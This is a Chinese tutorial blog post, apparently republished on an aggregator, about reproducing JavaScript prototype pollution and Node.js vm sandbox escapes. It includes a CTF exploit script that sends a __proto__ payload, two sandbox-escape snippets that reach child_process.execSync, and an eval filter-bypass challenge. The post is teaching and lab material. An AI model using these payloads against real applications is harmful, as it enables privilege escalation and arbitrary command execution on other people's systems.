漏洞复现--原型链污染、沙箱逃逸绕过

news2024/11/23 15:15:44

目录

一、原型链污染

1.prototype和__proto__区别???

2.原型链污染是什么???

3.哪些情况原型链会被污染???

4.原型链污染例题

二、沙箱逃逸绕过

1.如何实现沙箱逃逸?

 2.如何实现绕过?


一、原型链污染

原型污染是一个安全漏洞,非常特定于 JavaScript。

__proto__检查其成员或调用来找出给定对象的原型是什么对象Object.getPrototypeOf

当我们尝试访问对象的属性时,JS 引擎首先检查对象本身是否包含该属性。如果是,则将其退回。否则,JS 会检查原型是否具有该属性。如果没有,JS 会检查原型的原型,以此类推,直到原型为null. 它被称为原型链。

1.prototype和__proto__区别???

function Foo() {
    this.bar = 1
}
Foo.prototype.show = function show() {
    console.log(this.bar)
}
let foo = new Foo()
foo.show()

通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

总结一下:

 (1)prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

 (2)一个对象的__proto__属性,指向这个对象所在的类的prototype属性。

2.原型链污染是什么???

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

  

注意:进行三次打印,前俩次没有污染,打印结果一致,第三次被污染打印结果为修改后的,即原型被改变。

3.哪些情况原型链会被污染???

思考在哪些情况下可以设置__proto__的值。

  • 对象merge 结合 拼接

  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中) 复制

4.原型链污染例题

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

通过分析题目,其中有一个敏感函数merge,merge 函数作用是进行对象的合并,其中涉及到了对象的赋值,且键值可控,这样就可以触发原形链污染了。

进行payload编写,进行污染。

import requests
import json

url1 = "http://127.0.0.1:8080/signup"
url2 = "http://127.0.0.1:8080/getflag"

s = requests.session()

headers = {"Context-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print (res2.text)

二、沙箱逃逸绕过

1.如何实现沙箱逃逸?

沙箱内部找到一个沙箱外部的对象(即沙箱内部可以进行访问沙箱外部),借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

第一种沙箱逃逸,通过this实现

const vm = require('vm');
const script = `
const process =this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: [], n: {},x:/regexp/ };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

 

第二种沙箱逃逸,不存在this

const vm = require('vm'); 
const script = `(() => {  
const a = {}  
a.toString = function () {    
const cc = arguments.callee.caller;    
const p = (cc.constructor.constructor('return process'))();   
 return p.mainModule.require('child_process').execSync('whoami').toString()  
}  
return a })()`; 
const sandbox = Object.create(null); 
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 

 

 2.如何实现绕过?

//最终实现结果,弹出提示框1337
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert|prompt|confirm/g, '_')
eval(mafia)

 分析代码,可见过滤了`, ', ",+,-,!,\,[,]并且过滤了弹窗函数alert,prompt,confirm,这样的一个正则。如何进行绕过呢???

第一种,Function构造函数

  

第二种,使用eval函数绕过,使用2-36进制

  

 注:8680439代表啥?如何而来?

 

 第三种,使用location中的hash来进行绕过

  

 以上为复现原型链污染和沙箱逃逸绕过相关介绍。介绍不够全面,后期进一步完善。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/826003.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

nsq的目录锁,源码分析

文章目录 前言 nsqd启动加锁流程及源码分析 总结 前言 前面几篇博客我们讲了nsq是什么,nsq的安装等,大家想过下面这样的问题没有,就是 问题:一个目录下能启动多个nsqd进程吗? 答案:不能 问题&#xff1…

Maven项目解决cannot resolve plugin maven-deploy-plugin:2.7

导入maven项目后,编辑的时候提示一些插件加载失败!大概率是你的网络有问题,插件下载失败。 如下图:(网络突然好了,我想截图但是没有复现,用网上找到的截图代替,明白意思就行&#x…

Docker Compose 安装与使用(常用指令)

一、简介 Docker Compose 是一个编排多容器分布式部署的工具,提供命令集管理容器化应用的完整开发周期,包括服务构建、启动和停止。使用步骤:1. 利用 Dockerfile 定义运行环境镜像 2. 使用 docker-compose.yml 家义组成应用的各服务 3. 运行 …

python制作超高难度走迷宫游戏,你要来挑战嘛~(赶紧收藏)

前言 嗨喽~大家好呀,这里是魔王呐 ❤ ~! 走迷宫,是一项充满智慧的挑战~ 作为经常刷短视频的我们,见识过不少迷宫小游戏 当然印象深刻的当然是小动物走迷宫 这里有几组挑战走迷宫的小可爱。先来看看吧! (1&#xff…

Java Maven 构建项目里面有个聚合的概念

Java 项目里面有个聚合的概念,它没有.net里面解决方案(solution)的能力,可以统一的编译项目下的所有包,或设置统一的打包路径,使用maven编译后的产物也不会像.net那样编译到当前项目的bin文件夹下面,而是统一的生成到配…

MySQL 其他数据库日志

我们了解数据库事务时,知道两种日志:重做日志,回滚日志。 对于线上数据库应用系统,突然遭遇 数据库宕机 怎么办?在这种情况下,定位宕机的原因 就非常关键。我们可以查看数据库的 错误日志。因为日志中记录…

保修管理系统

保修管理系统密切关注IT资产的保修信息,以便在发生任何故障或损坏时,供应商可以及时更换和修复任何IT硬件。自动化保修管理软件跟踪各种供应商提供的维修和服务期限的有效性,以便任何硬件都可以在保修到期之前升级,从而降低成本并…

企业项目中md-loader项目组件文档实现

背景需求: 随着业务增多,公共组件变多,无法直观知道其中的方法使用和业务场景,轻量级不需要重新新建一个项目 技术基础: 1.仿造element-ui md-loader 需求场景: 当前项目公共组件比较多,需…

在AndroidStudio中如何查看Gradle的版本

以Android Studio Giraffe | 2022.3.1为例 File -> Project Structure -> Project Android Gradle Plugin Version - Android Gradle插件版本号 Gradle Version - Gradle的版本号 Gradle 版本 (gradle version): Gradle 是一种通用的构建工具,用于构建各种类…

蓝牙、GPS定位学习

启动状态(APP) 冷启动 指在启动应用时,后台没有应用的进程或者进程被杀死的情况下,系统会重新创建一个新的进程,并按照一定的顺序创建和初始化Application类和MainActivity类,最后显示在界面上。这个过程需…

vue3使用iframe引入其他网站,vue-router路由跳转后页面空白,刷新之后才展示页面内容乌龙事件

问题描述:vue3项目的页面A跳转到页面B时,页面B页面是空白的,需要手动刷新一下才能恢复正常,在页面A中用iframe引入了别的网站(后续事实证明,跟iframe没一毛钱的关系)。着急的童鞋可以直接拉到底…

【C++】开源:Eigen3矩阵与线性代数库配置使用

😏★,:.☆( ̄▽ ̄)/$:.★ 😏 这篇文章主要介绍Eigen3矩阵与线性代数库配置使用。 无专精则不能成,无涉猎则不能通。——梁启超 欢迎来到我的博客,一起学习,共同进步。 喜欢的朋友可以关注一下&…

机柜PDU的选购也有大学问——与机柜PDU相关的那些事儿

在各行各业数据中心机房供配电建设过程中,机柜专用PDU电源插座看似是一个较为简单的用电设备,事实上又不那么简单。机柜PDU,是为安装在机柜内部的IT设备提供电源分配、管理的末端配电设备,在不同的工作场合对于PDU的规格要求也是不…

HackSudo2靶机 通关详解

环境配置 发现vmWare的kali扫不到virtualbox的靶机 网上找了挺久资料都没解决 索性全桥接上物理机了 信息收集 漏洞发现 扫个目录 都看了一眼 没什么有用的 然后回到file.php 感觉之前做过类似的靶场,猜测存在文件包含 随便传个file试试 确实有 考虑日志文件包含 之前看…

C++---list常用接口和模拟实现

list---模拟实现 list的简介list函数的使用构造函数迭代器的使用list的capacitylist element accesslist modifiers list的模拟实现构造函数,拷贝构造函数和迭代器begin和endinsert和eraseclear和析构函数 源码 list的简介 list是用双向带头联表实现的一个容器&…

[用go实现解释器]笔记1-词法分析

本文是《用go实现解释器》的读书笔记 ​ https://malred-blog​malred.github.io/2023/06/03/ji-suan-ji-li-lun-ji-shu-ji/shi-ti/go-compile/yong-go-yu-yan-shi-xian-jie-shi-qi/go-compiler-1/#toc-heading-6http://个人博客该笔记地址 ​github.com/malred/malanghttp:/…

入行软件测试的一些工作感悟

成为xx一员测试已经有1年半了,一直没有真正坐下来花些时间将自己的思路理清一下。刚好近期公司落地了OKR,给自己制定了OKR之后思路终于开始清晰起来,朦朦胧胧地开始看清了远方的路,麻着胆子分析一下自己,毕竟摸黑走路的…

Screens 4 for mac VNC客户端 强大的远程控制工具

Screens 4 for Mac 是一款功能强大的 VNC 客户端软件,为 Mac 用户提供了便捷的远程访问和控制解决方案。无论您是需要远程管理服务器、办公电脑,还是需要远程协助他人解决问题,Screens 4 都是您的理想选择。 Screens 4 for Mac具备简洁直观的…

小白到运维工程师自学之路 第六十二集 (docker持久化与数据卷容器)

一、概述 Docker持久化是指将容器中的数据持久保存在主机上,以便在容器重新启动或迁移时不丢失数据。由于Docker容器是临时和可变的,它们的文件系统默认是易失的,这意味着容器中的任何更改或创建的文件都只存在于此容器的生命周期内。但是&a…

基于低代码平台快速搭建应用

一、前言 近年来,SaaS行业的迅猛发展带动了低代码领域的快速兴起。国外的低代码创业公司如Mendix、Outsystems,以及国内的软件业巨头如华为、用友、金蝶等和小众高性价比的引迈JNPF都已经纷纷涉足低代码市场。根据Transparency Market Research的报告&am…